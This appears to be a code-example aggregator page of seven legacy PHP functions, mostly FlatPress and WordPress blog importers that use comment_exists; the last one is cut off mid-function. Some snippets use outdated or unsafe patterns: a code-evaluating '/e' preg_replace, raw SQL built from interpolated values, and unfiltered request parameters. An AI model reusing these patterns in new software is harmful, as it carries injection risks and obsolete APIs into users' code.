コード例 #1
0
 function main()
 {
     global $fpdb;
     $fpdb->query(array('count' => -1, 'fullparse' => true));
     $q = $fpdb->getQuery();
     $comments = $entries = array('count' => 0, 'words' => 0, 'chars' => 0, 'size' => 0, 'topten' => array());
     $entries['comments'] = 0;
     $toplist = array();
     while ($q->hasMore()) {
         list($id, $e) = $q->getEntry();
         $entries['count']++;
         $entries['words'] += str_word_count($e['subject']) + str_word_count($e['content']);
         $entries['chars'] += strlen($e['subject']) + strlen($e['content']);
         $entries['size'] += filesize(entry_exists($id));
         $cc = $q->hasComments();
         $entries['comments'] += $cc;
         $toplist[$id] = $cc;
         $toplistsubj[$id] = $e['subject'];
         $comments['count'] += $cc;
         while ($q->comments->hasMore()) {
             list($cid, $c) = $q->comments->getComment();
             $comments['words'] += str_word_count($c['content']);
             $comments['chars'] += strlen($c['content']);
             $comments['size'] += filesize(comment_exists($id, $cid));
         }
     }
     arsort($toplist);
     $i = 0;
     foreach ($toplist as $k => $v) {
         if ($i >= 10 || $v < 1) {
             break;
         }
         $entries['topten'][$k] = array('subject' => $toplistsubj[$k], 'comments' => $v);
         $i++;
     }
     $decunit = array('', 'Thousand', 'Million', 'Billion', 'Trillion', 'Zillion', 'Gazillion');
     $binunit = array('Bytes', 'KiloBytes', 'MegaBytes', 'GigaBytes', 'TeraBytes', 'Many', 'ManyBytes');
     list($count, $approx) = $this->format_number($entries['count'], 1000);
     $entries['count'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($entries['words'], 1000);
     $entries['words'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($entries['chars'], 1000);
     $entries['chars'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($entries['comments'], 1000);
     $entries['comments'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($entries['size'], 1024);
     $entries['size'] = $count . ' ' . $binunit[$approx];
     $this->smarty->assign('entries', $entries);
     list($count, $approx) = $this->format_number($comments['count'], 1000);
     $comments['count'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($comments['words'], 1000);
     $comments['words'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($comments['chars'], 1000);
     $comments['chars'] = $count . ' ' . $decunit[$approx];
     list($count, $approx) = $this->format_number($comments['size'], 1024);
     $comments['size'] = $count . ' ' . $binunit[$approx];
     $this->smarty->assign('comments', $comments);
 }
コード例 #2
0
ファイル: core.comment.php プロジェクト: mroussel/flatpress
function comment_parse($entryid, $id)
{
    $f = comment_exists($entryid, $id);
    if (!$f) {
        return false;
    }
    $fc = io_load_file($f);
    $arr = utils_kexplode($fc);
    //$arr['EMAIL'] = apply_filters('comment_email', $arr['EMAIL']);
    // hackish: dash to underscore for ip-address :( todo: clean this up here or somewhere else
    //$arr['ip_address'] = $arr['ip-address'];
    return array_change_key_case($arr, CASE_LOWER);
}
コード例 #3
0
function cherry_plugin_import_posts()
{
    $nonce = $_POST['nonce'];
    if (!wp_verify_nonce($nonce, 'import_ajax-nonce')) {
        exit('instal_error');
    }
    if (session_id() != "import_xml") {
        session_name("import_xml");
        session_start();
    }
    do_action('cherry_plugin_import_posts');
    $_SESSION['url_remap'] = array();
    $_SESSION['featured_images'] = array();
    $_SESSION['attachment_posts'] = array();
    $_SESSION['processed_posts'] = array();
    $posts_array = $_SESSION['posts'];
    $posts_array = apply_filters('wp_import_posts', $posts_array);
    $attachment_posts = array();
    foreach ($posts_array as $post) {
        $post = apply_filters('wp_import_post_data_raw', $post);
        if (!post_type_exists($post['post_type'])) {
            // Failed to import
            do_action('wp_import_post_exists', $post);
            continue;
        }
        if (isset($_SESSION['processed_posts'][$post['post_id']]) && !empty($post['post_id'])) {
            continue;
        }
        if ($post['status'] == 'auto-draft') {
            continue;
        }
        if ('nav_menu_item' == $post['post_type']) {
            continue;
        }
        //!!!!$post_type_object = get_post_type_object( $post['post_type'] );
        $post_exists = post_exists($post['post_title'], '', $post['post_date']);
        if ($post_exists && get_post_type($post_exists) == $post['post_type']) {
            // already exists
            $comment_post_ID = $post_id = $post_exists;
        } else {
            $post_parent = (int) $post['post_parent'];
            if ($post_parent) {
                // if we already know the parent, map it to the new local ID
                if (isset($_SESSION['processed_posts'][$post_parent])) {
                    $post_parent = $_SESSION['processed_posts'][$post_parent];
                    // otherwise record the parent for later
                } else {
                    $_SESSION['post_orphans'][intval($post['post_id'])] = $post_parent;
                    $post_parent = 0;
                }
            }
            $author = (int) get_current_user_id();
            $postdata = array('import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password']);
            $original_post_ID = $post['post_id'];
            $postdata = apply_filters('wp_import_post_data_processed', $postdata, $post);
            if ('attachment' == $postdata['post_type']) {
                array_push($attachment_posts, $post);
            }
            if ('attachment' != $postdata['post_type']) {
                ini_set('max_execution_time', -1);
                set_time_limit(0);
                $comment_post_ID = $post_id = wp_insert_post($postdata, true);
                do_action('wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post);
                if (is_wp_error($post_id)) {
                    // Failed to import
                    continue;
                }
                if ($post['is_sticky'] == 1) {
                    stick_post($post_id);
                }
                // map pre-import ID to local ID
                $_SESSION['processed_posts'][intval($post['post_id'])] = intval($post_id);
                if (!isset($post['terms'])) {
                    $post['terms'] = array();
                }
                $post['terms'] = apply_filters('wp_import_post_terms', $post['terms'], $post_id, $post);
                // add categories, tags and other terms
                if (!empty($post['terms'])) {
                    $terms_to_set = array();
                    foreach ($post['terms'] as $term) {
                        // back compat with WXR 1.0 map 'tag' to 'post_tag'
                        $taxonomy = 'tag' == $term['domain'] ? 'post_tag' : $term['domain'];
                        $term_exists = term_exists($term['slug'], $taxonomy);
                        $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;
                        if (!$term_id) {
                            $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));
                            if (!is_wp_error($t)) {
                                $term_id = $t['term_id'];
                                do_action('cherry_plugin_import_insert_term', $t, $term, $post_id, $post);
                            } else {
                                // Failed to import
                                do_action('cherry_plugin_import_insert_term_failed', $t, $term, $post_id, $post);
                                continue;
                            }
                        }
                        $terms_to_set[$taxonomy][] = intval($term_id);
                    }
                    foreach ($terms_to_set as $tax => $ids) {
                        $tt_ids = wp_set_post_terms($post_id, $ids, $tax);
                        do_action('wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post);
                    }
                    unset($post['terms'], $terms_to_set);
                }
                if (!isset($post['comments'])) {
                    $post['comments'] = array();
                }
                $post['comments'] = apply_filters('wp_import_post_comments', $post['comments'], $post_id, $post);
                // add/update comments
                if (!empty($post['comments'])) {
                    $num_comments = 0;
                    $inserted_comments = array();
                    foreach ($post['comments'] as $comment) {
                        $comment_id = $comment['comment_id'];
                        $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
                        $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];
                        $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];
                        $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];
                        $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];
                        $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];
                        $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];
                        $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];
                        $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];
                        $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];
                        $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];
                        $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();
                        if (isset($processed_authors[$comment['comment_user_id']])) {
                            $newcomments[$comment_id]['user_id'] = $processed_authors[$comment['comment_user_id']];
                        }
                    }
                    ksort($newcomments);
                    foreach ($newcomments as $key => $comment) {
                        // if this is a new post we can skip the comment_exists() check
                        if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                            if (isset($inserted_comments[$comment['comment_parent']])) {
                                $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                            }
                            $comment = wp_filter_comment($comment);
                            $inserted_comments[$key] = wp_insert_comment($comment);
                            do_action('cherry_plugin_import_insert_comment', $inserted_comments[$key], $comment, $comment_post_ID, $post);
                            foreach ($comment['commentmeta'] as $meta) {
                                $value = maybe_unserialize($meta['value']);
                                add_comment_meta($inserted_comments[$key], $meta['key'], $value);
                            }
                            $num_comments++;
                        }
                    }
                    unset($newcomments, $inserted_comments, $post['comments']);
                }
                if (!isset($post['postmeta'])) {
                    $post['postmeta'] = array();
                }
                $post['postmeta'] = apply_filters('wp_import_post_meta', $post['postmeta'], $post_id, $post);
                // add/update post meta
                if (isset($post['postmeta'])) {
                    foreach ($post['postmeta'] as $meta) {
                        $key = apply_filters('import_post_meta_key', $meta['key']);
                        $value = false;
                        if ('_edit_last' == $key) {
                            if (isset($processed_authors[intval($meta['value'])])) {
                                $value = $processed_authors[intval($meta['value'])];
                            } else {
                                $key = false;
                            }
                        }
                        if ($key) {
                            // export gets meta straight from the DB so could have a serialized string
                            if (!$value) {
                                $value = maybe_unserialize($meta['value']);
                            }
                            ini_set('max_execution_time', -1);
                            set_time_limit(0);
                            add_post_meta($post_id, $key, $value);
                            do_action('cherry_plugin_import_post_meta', $post_id, $key, $value);
                            // if the post has a featured image, take note of this in case of remap
                            if ('_thumbnail_id' == $key) {
                                $_SESSION['featured_images'][$post_id] = (int) $value;
                            }
                        }
                    }
                }
            }
        }
    }
    $_SESSION['attachment_posts'] = $attachment_posts;
    exit('import_menu_item');
}
コード例 #4
0
 function setup()
 {
     $this->nosuchcomment = !comment_exists($_REQUEST['entry'], $_REQUEST['comment']);
     $this->smarty->assign('entryid', $_REQUEST['entry']);
     $this->smarty->assign('id', $_REQUEST['comment']);
 }
コード例 #5
0
	function import_posts() {
		global $wpdb, $current_user;

		set_magic_quotes_runtime(0);
		$importdata = file($this->file); // Read the file into an array
		$importdata = implode('', $importdata); // squish it
		$importdata = str_replace(array ("\r\n", "\r"), "\n", $importdata);

		preg_match_all('|(<item[^>]+>(.*?)</item>)|is', $importdata, $posts);
		$posts = $posts[1];
		unset($importdata);
		echo '<ol>';
		foreach ($posts as $post) {
			flush();
			preg_match('|<item type=\"(.*?)\">|is', $post, $post_type);
			$post_type = $post_type[1];
			if($post_type == "photo") {
				preg_match('|<photoFilename>(.*?)</photoFilename>|is', $post, $post_title);
			} else {
				preg_match('|<title>(.*?)</title>|is', $post, $post_title);
			}
			$post_title = $wpdb->escape(trim($post_title[1]));

			preg_match('|<pubDate>(.*?)</pubDate>|is', $post, $post_date);
			$post_date = strtotime($post_date[1]);
			$post_date = gmdate('Y-m-d H:i:s', $post_date);

			preg_match_all('|<category>(.*?)</category>|is', $post, $categories);
			$categories = $categories[1];

			$cat_index = 0;
			foreach ($categories as $category) {
				$categories[$cat_index] = $wpdb->escape($this->unhtmlentities($category));
				$cat_index++;
			}

			if(strcasecmp($post_type, "photo") === 0) {
				preg_match('|<sizedPhotoUrl>(.*?)</sizedPhotoUrl>|is', $post, $post_content);
				$post_content = '<img src="'.trim($post_content[1]).'" />';
				$post_content = $this->unhtmlentities($post_content);
			} else {
				preg_match('|<body>(.*?)</body>|is', $post, $post_content);
				$post_content = str_replace(array ('<![CDATA[', ']]>'), '', trim($post_content[1]));
				$post_content = $this->unhtmlentities($post_content);
			}

			// Clean up content
			$post_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('$1')", $post_content);
			$post_content = str_replace('<br>', '<br />', $post_content);
			$post_content = str_replace('<hr>', '<hr />', $post_content);
			$post_content = $wpdb->escape($post_content);

			$post_author = $current_user->ID;
			preg_match('|<postStatus>(.*?)</postStatus>|is', $post, $post_status);
			$post_status = trim($post_status[1]);

			echo '<li>';
			if ($post_id = post_exists($post_title, $post_content, $post_date)) {
				printf(__('Post <em>%s</em> already exists.'), stripslashes($post_title));
			} else {
				printf(__('Importing post <em>%s</em>...'), stripslashes($post_title));
				$postdata = compact('post_author', 'post_date', 'post_content', 'post_title', 'post_status');
				$post_id = wp_insert_post($postdata);
				if ( is_wp_error( $post_id ) ) {
					return $post_id;
				}
				if (!$post_id) {
					_e("Couldn't get post ID");
					echo '</li>';
					break;
				}
				if(0 != count($categories))
					wp_create_categories($categories, $post_id);
			}

			preg_match_all('|<comment>(.*?)</comment>|is', $post, $comments);
			$comments = $comments[1];

			if ( $comments ) {
				$comment_post_ID = (int) $post_id;
				$num_comments = 0;
				foreach ($comments as $comment) {
					preg_match('|<body>(.*?)</body>|is', $comment, $comment_content);
					$comment_content = str_replace(array ('<![CDATA[', ']]>'), '', trim($comment_content[1]));
					$comment_content = $this->unhtmlentities($comment_content);

					// Clean up content
					$comment_content = preg_replace('|<(/?[A-Z]+)|e', "'<' . strtolower('$1')", $comment_content);
					$comment_content = str_replace('<br>', '<br />', $comment_content);
					$comment_content = str_replace('<hr>', '<hr />', $comment_content);
					$comment_content = $wpdb->escape($comment_content);

					preg_match('|<pubDate>(.*?)</pubDate>|is', $comment, $comment_date);
					$comment_date = trim($comment_date[1]);
					$comment_date = date('Y-m-d H:i:s', strtotime($comment_date));

					preg_match('|<author>(.*?)</author>|is', $comment, $comment_author);
					$comment_author = $wpdb->escape(trim($comment_author[1]));

					$comment_author_email = NULL;

					$comment_approved = 1;
					// Check if it's already there
					if (!comment_exists($comment_author, $comment_date)) {
						$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_date', 'comment_content', 'comment_approved');
						$commentdata = wp_filter_comment($commentdata);
						wp_insert_comment($commentdata);
						$num_comments++;
					}
				}
			}
			if ( $num_comments ) {
				echo ' ';
				printf( __ngettext('%s comment', '%s comments', $num_comments), $num_comments );
			}
			echo '</li>';
			flush();
			ob_flush();
		}
		echo '</ol>';
	}
コード例 #6
0
 /**
  * Create new posts based on import information
  *
  * Posts marked as having a parent which doesn't exist will become top level items.
  * Doesn't create a new post if: the post type doesn't exist, the given post ID
  * is already noted as imported or a post with the same title and date already exists.
  * Note that new/updated terms, comments and meta are imported for the last of the above.
  */
 function process_posts()
 {
     $this->posts = apply_filters('wp_import_posts', $this->posts);
     usort($this->posts, array($this, 'compare_terms'));
     foreach ($this->posts as $post) {
         if (!empty($post['post_id']) && $post['post_id'] <= $this->start_from_id) {
             continue;
         }
         $post = apply_filters('wp_import_post_data_raw', $post);
         if (!post_type_exists($post['post_type'])) {
             printf(__('Failed to import post &#8220;%s&#8221;: Invalid post type %s', 'themerex'), esc_html($post['post_title']), esc_html($post['post_type']));
             echo '<br />';
             do_action('wp_import_post_exists', $post);
             continue;
         }
         if (!empty($post['post_id']) && isset($this->processed_posts[$post['post_id']])) {
             continue;
         }
         if ($post['status'] == 'auto-draft') {
             continue;
         }
         if ('nav_menu_item' == $post['post_type']) {
             $this->process_menu_item($post);
             continue;
         }
         $post_type_object = get_post_type_object($post['post_type']);
         $post_exists = post_exists($post['post_title'], '', $post['post_date']);
         if ($post_exists && get_post_type($post_exists) == $post['post_type']) {
             printf(__('%s &#8220;%s&#8221; already exists.', 'themerex'), $post_type_object->labels->singular_name, esc_html($post['post_title']));
             echo '<br />';
             $comment_post_ID = $post_id = $post_exists;
         } else {
             $post_parent = (int) $post['post_parent'];
             if (!$this->overwrite && $post_parent) {
                 // if we already know the parent, map it to the new local ID
                 if (isset($this->processed_posts[$post_parent])) {
                     $post_parent = $this->processed_posts[$post_parent];
                     // otherwise record the parent for later
                 } else {
                     $this->post_orphans[intval($post['post_id'])] = $post_parent;
                     $post_parent = 0;
                 }
             }
             // map the post author
             $author = sanitize_user($post['post_author'], true);
             if (isset($this->author_mapping[$author])) {
                 $author = $this->author_mapping[$author];
             } else {
                 $author = (int) get_current_user_id();
             }
             $postdata = array('import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $this->replace_uploads($post['post_content']), 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password']);
             $original_post_ID = $post['post_id'];
             $postdata = apply_filters('wp_import_post_data_processed', $postdata, $post);
             if ('attachment' == $postdata['post_type']) {
                 $remote_url = !empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];
                 // try to use _wp_attached file for upload folder placement to ensure the same location as the export site
                 // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()
                 $postdata['upload_date'] = $post['post_date'];
                 if (isset($post['postmeta'])) {
                     foreach ($post['postmeta'] as $meta) {
                         if ($meta['key'] == '_wp_attached_file') {
                             if (preg_match('%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches)) {
                                 $postdata['upload_date'] = $matches[0];
                             }
                             break;
                         }
                     }
                 }
                 $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
             } else {
                 $comment_post_ID = $post_id = wp_insert_post($postdata, true);
                 do_action('wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post);
             }
             if (is_wp_error($post_id)) {
                 printf(__('Failed to import post %s: &#8220;%s&#8221;', 'themerex'), $post_type_object->labels->singular_name, esc_html($post['post_title']));
                 if ($this->debug) {
                     echo ': ' . $post_id->get_error_message();
                 }
                 echo '<br />';
                 continue;
             }
             if ($this->overwrite) {
                 if ($post_id != $original_post_ID) {
                     global $wpdb;
                     $wpdb->query("UPDATE {$wpdb->term_relationships} SET object_id='{$original_post_ID}' WHERE object_id='{$post_id}'");
                     $wpdb->query("UPDATE {$wpdb->postmeta} SET post_id='{$original_post_ID}' WHERE post_id='{$post_id}'");
                     $wpdb->query("UPDATE {$wpdb->posts} SET ID='{$original_post_ID}', post_parent='{$post_parent}' WHERE ID='{$post_id}' LIMIT 1");
                     if ($post_id < $original_post_ID) {
                         $wpdb->query("ALTER TABLE {$wpdb->posts} AUTO_INCREMENT=" . ($original_post_ID + 1));
                     }
                     $comment_post_ID = $post_id = $original_post_ID;
                 }
             }
             if ($post['is_sticky'] == 1) {
                 stick_post($post_id);
             }
             if ($this->debug) {
                 printf(__('%s "%s" (ID=%s) imported.', 'themerex') . '<br>', $post_type_object->labels->singular_name, esc_html($post['post_title']), $post_id);
                 flush();
             }
         }
         // map pre-import ID to local ID
         $this->processed_posts[intval($post['post_id'])] = (int) $post_id;
         if (!isset($post['terms'])) {
             $post['terms'] = array();
         }
         $post['terms'] = apply_filters('wp_import_post_terms', $post['terms'], $post_id, $post);
         // add categories, tags and other terms
         if (!empty($post['terms'])) {
             $terms_to_set = array();
             foreach ($post['terms'] as $term) {
                 // back compat with WXR 1.0 map 'tag' to 'post_tag'
                 $taxonomy = 'tag' == $term['domain'] ? 'post_tag' : $term['domain'];
                 $term_exists = term_exists($term['slug'], $taxonomy);
                 $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;
                 if (!$term_id) {
                     $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));
                     if (!is_wp_error($t)) {
                         $term_id = $t['term_id'];
                         do_action('wp_import_insert_term', $t, $term, $post_id, $post);
                         //if ( $this->debug ) { printf( __( 'Post term %s: "%s" imported.', 'themerex' ).'<br>', esc_html($taxonomy), esc_html($term['name']) ); flush(); }
                     } else {
                         printf(__('Failed to import post term %s: "%s"', 'themerex'), esc_html($taxonomy), esc_html($term['name']));
                         if ($this->debug) {
                             echo ': ' . $t->get_error_message();
                         }
                         echo '<br />';
                         flush();
                         do_action('wp_import_insert_term_failed', $t, $term, $post_id, $post);
                         continue;
                     }
                 }
                 $terms_to_set[$taxonomy][] = intval($term_id);
             }
             foreach ($terms_to_set as $tax => $ids) {
                 $tt_ids = wp_set_post_terms($post_id, $ids, $tax);
                 do_action('wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post);
             }
             unset($post['terms'], $terms_to_set);
         }
         if (!isset($post['comments'])) {
             $post['comments'] = array();
         }
         $post['comments'] = apply_filters('wp_import_post_comments', $post['comments'], $post_id, $post);
         // add/update comments
         if (!empty($post['comments'])) {
             $num_comments = 0;
             $inserted_comments = array();
             foreach ($post['comments'] as $comment) {
                 $comment_id = $comment['comment_id'];
                 $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
                 $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];
                 $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];
                 $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];
                 $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];
                 $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];
                 $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];
                 $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];
                 $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];
                 $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];
                 $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];
                 $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();
                 if (isset($this->processed_authors[$comment['comment_user_id']])) {
                     $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];
                 }
             }
             ksort($newcomments);
             foreach ($newcomments as $key => $comment) {
                 // if this is a new post we can skip the comment_exists() check
                 if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                     if (isset($inserted_comments[$comment['comment_parent']])) {
                         $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                     }
                     $comment = wp_filter_comment($comment);
                     $inserted_comments[$key] = wp_insert_comment($comment);
                     do_action('wp_import_insert_comment', $inserted_comments[$key], $comment, $comment_post_ID, $post);
                     foreach ($comment['commentmeta'] as $meta) {
                         $value = maybe_unserialize($meta['value']);
                         add_comment_meta($inserted_comments[$key], $meta['key'], $value);
                     }
                     $num_comments++;
                 }
             }
             unset($newcomments, $inserted_comments, $post['comments']);
         }
         if (!isset($post['postmeta'])) {
             $post['postmeta'] = array();
         }
         $post['postmeta'] = apply_filters('wp_import_post_meta', $post['postmeta'], $post_id, $post);
         // add/update post meta
         if (!empty($post['postmeta'])) {
             foreach ($post['postmeta'] as $meta) {
                 $key = apply_filters('import_post_meta_key', $meta['key'], $post_id, $post);
                 $value = false;
                 if ('_edit_last' == $key) {
                     if (isset($this->processed_authors[intval($meta['value'])])) {
                         $value = $this->processed_authors[intval($meta['value'])];
                     } else {
                         $key = false;
                     }
                 }
                 if ($key) {
                     // export gets meta straight from the DB so could have a serialized string
                     $replace = true;
                     if (!$value) {
                         $value = $meta['value'];
                         if (is_serialized($value)) {
                             $value = @unserialize($value);
                             if (!$value) {
                                 $value = str_replace("\n", "\r\n", $meta['value']);
                                 $value = @unserialize($value);
                             }
                             if (!$value) {
                                 $value = str_replace(array("\n", "\r"), array('\\n', '\\r'), $meta['value']);
                                 $value = @unserialize($value);
                             }
                             if (!$value) {
                                 if ($meta['value'] != 'a:0:{}' && $this->debug) {
                                     printf(__('Post (ID=%s) - error unserialize postmeta: %s=', 'themerex'), $post['post_id'], $key);
                                     ds($meta['value']);
                                     flush();
                                 }
                                 $value = $meta['value'];
                                 $replace = false;
                             }
                         }
                     }
                     if ($replace) {
                         $value = $this->replace_uploads($value);
                     }
                     add_post_meta($post_id, $key, $value);
                     do_action('import_post_meta', $post_id, $key, $value);
                     // if the post has a featured image, take note of this in case of remap
                     if ('_thumbnail_id' == $key) {
                         $this->featured_images[$post_id] = (int) $value;
                     }
                 }
             }
         }
         themerex_fpc($this->import_log, $original_post_ID);
     }
     unset($this->posts);
 }
コード例 #7
0
ファイル: mt.php プロジェクト: robertlange81/Website
 function process_posts()
 {
     global $wpdb;
     $i = -1;
     echo "<ol>";
     foreach ($this->posts as $post) {
         if ('' != trim($post)) {
             ++$i;
             unset($post_categories);
             // Take the pings out first
             preg_match("|(-----\n\nPING:.*)|s", $post, $pings);
             $post = preg_replace("|(-----\n\nPING:.*)|s", '', $post);
             // Then take the comments out
             preg_match("|(-----\nCOMMENT:.*)|s", $post, $comments);
             $post = preg_replace("|(-----\nCOMMENT:.*)|s", '', $post);
             // We ignore the keywords
             $post = preg_replace("|(-----\nKEYWORDS:.*)|s", '', $post);
             // We want the excerpt
             preg_match("|-----\nEXCERPT:(.*)|s", $post, $excerpt);
             $excerpt = $wpdb->escape(trim($excerpt[1]));
             $post = preg_replace("|(-----\nEXCERPT:.*)|s", '', $post);
             // We're going to put extended body into main body with a more tag
             preg_match("|-----\nEXTENDED BODY:(.*)|s", $post, $extended);
             $extended = trim($extended[1]);
             if ('' != $extended) {
                 $extended = "\n<!--more-->\n{$extended}";
             }
             $post = preg_replace("|(-----\nEXTENDED BODY:.*)|s", '', $post);
             // Now for the main body
             preg_match("|-----\nBODY:(.*)|s", $post, $body);
             $body = trim($body[1]);
             $post_content = $wpdb->escape($body . $extended);
             $post = preg_replace("|(-----\nBODY:.*)|s", '', $post);
             // Grab the metadata from what's left
             $metadata = explode("\n", $post);
             foreach ($metadata as $line) {
                 preg_match("/^(.*?):(.*)/", $line, $token);
                 $key = trim($token[1]);
                 $value = trim($token[2]);
                 // Now we decide what it is and what to do with it
                 switch ($key) {
                     case '':
                         break;
                     case 'AUTHOR':
                         $post_author = $value;
                         break;
                     case 'TITLE':
                         $post_title = $wpdb->escape($value);
                         break;
                     case 'STATUS':
                         // "publish" and "draft" enumeration items match up; no change required
                         $post_status = $value;
                         if (empty($post_status)) {
                             $post_status = 'publish';
                         }
                         break;
                     case 'ALLOW COMMENTS':
                         $post_allow_comments = $value;
                         if ($post_allow_comments == 1) {
                             $comment_status = 'open';
                         } else {
                             $comment_status = 'closed';
                         }
                         break;
                     case 'CONVERT BREAKS':
                         $post_convert_breaks = $value;
                         break;
                     case 'ALLOW PINGS':
                         $post_allow_pings = trim($meta[2][0]);
                         if ($post_allow_pings == 1) {
                             $post_allow_pings = 'open';
                         } else {
                             $post_allow_pings = 'closed';
                         }
                         break;
                     case 'PRIMARY CATEGORY':
                         if (!empty($value)) {
                             $post_categories[] = $wpdb->escape($value);
                         }
                         break;
                     case 'CATEGORY':
                         if (!empty($value)) {
                             $post_categories[] = $wpdb->escape($value);
                         }
                         break;
                     case 'DATE':
                         $post_modified = strtotime($value);
                         $post_modified = date('Y-m-d H:i:s', $post_modified);
                         $post_modified_gmt = get_gmt_from_date("{$post_modified}");
                         $post_date = $post_modified;
                         $post_date_gmt = $post_modified_gmt;
                         break;
                     default:
                         // echo "\n$key: $value";
                         break;
                 }
                 // end switch
             }
             // End foreach
             // Let's check to see if it's in already
             if ($post_id = post_exists($post_title, '', $post_date)) {
                 echo '<li>';
                 printf(__('Post <i>%s</i> already exists.'), stripslashes($post_title));
             } else {
                 echo '<li>';
                 printf(__('Importing post <i>%s</i>...'), stripslashes($post_title));
                 $post_author = $this->checkauthor($post_author);
                 //just so that if a post already exists, new users are not created by checkauthor
                 $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt');
                 $post_id = wp_insert_post($postdata);
                 // Add categories.
                 if (0 != count($post_categories)) {
                     wp_create_categories($post_categories, $post_id);
                 }
             }
             $comment_post_ID = $post_id;
             // Now for comments
             $comments = explode("-----\nCOMMENT:", $comments[0]);
             $num_comments = 0;
             foreach ($comments as $comment) {
                 if ('' != trim($comment)) {
                     // Author
                     preg_match("|AUTHOR:(.*)|", $comment, $comment_author);
                     $comment_author = $wpdb->escape(trim($comment_author[1]));
                     $comment = preg_replace('|(\\n?AUTHOR:.*)|', '', $comment);
                     preg_match("|EMAIL:(.*)|", $comment, $comment_author_email);
                     $comment_author_email = $wpdb->escape(trim($comment_author_email[1]));
                     $comment = preg_replace('|(\\n?EMAIL:.*)|', '', $comment);
                     preg_match("|IP:(.*)|", $comment, $comment_author_IP);
                     $comment_author_IP = trim($comment_author_IP[1]);
                     $comment = preg_replace('|(\\n?IP:.*)|', '', $comment);
                     preg_match("|URL:(.*)|", $comment, $comment_author_url);
                     $comment_author_url = $wpdb->escape(trim($comment_author_url[1]));
                     $comment = preg_replace('|(\\n?URL:.*)|', '', $comment);
                     preg_match("|DATE:(.*)|", $comment, $comment_date);
                     $comment_date = trim($comment_date[1]);
                     $comment_date = date('Y-m-d H:i:s', strtotime($comment_date));
                     $comment = preg_replace('|(\\n?DATE:.*)|', '', $comment);
                     $comment_content = $wpdb->escape(trim($comment));
                     $comment_content = str_replace('-----', '', $comment_content);
                     // Check if it's already there
                     if (!comment_exists($comment_author, $comment_date)) {
                         $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_content');
                         $commentdata = wp_filter_comment($commentdata);
                         wp_insert_comment($commentdata);
                         $num_comments++;
                     }
                 }
             }
             if ($num_comments) {
                 printf(__('(%s comments)'), $num_comments);
             }
             // Finally the pings
             // fix the double newline on the first one
             $pings[0] = str_replace("-----\n\n", "-----\n", $pings[0]);
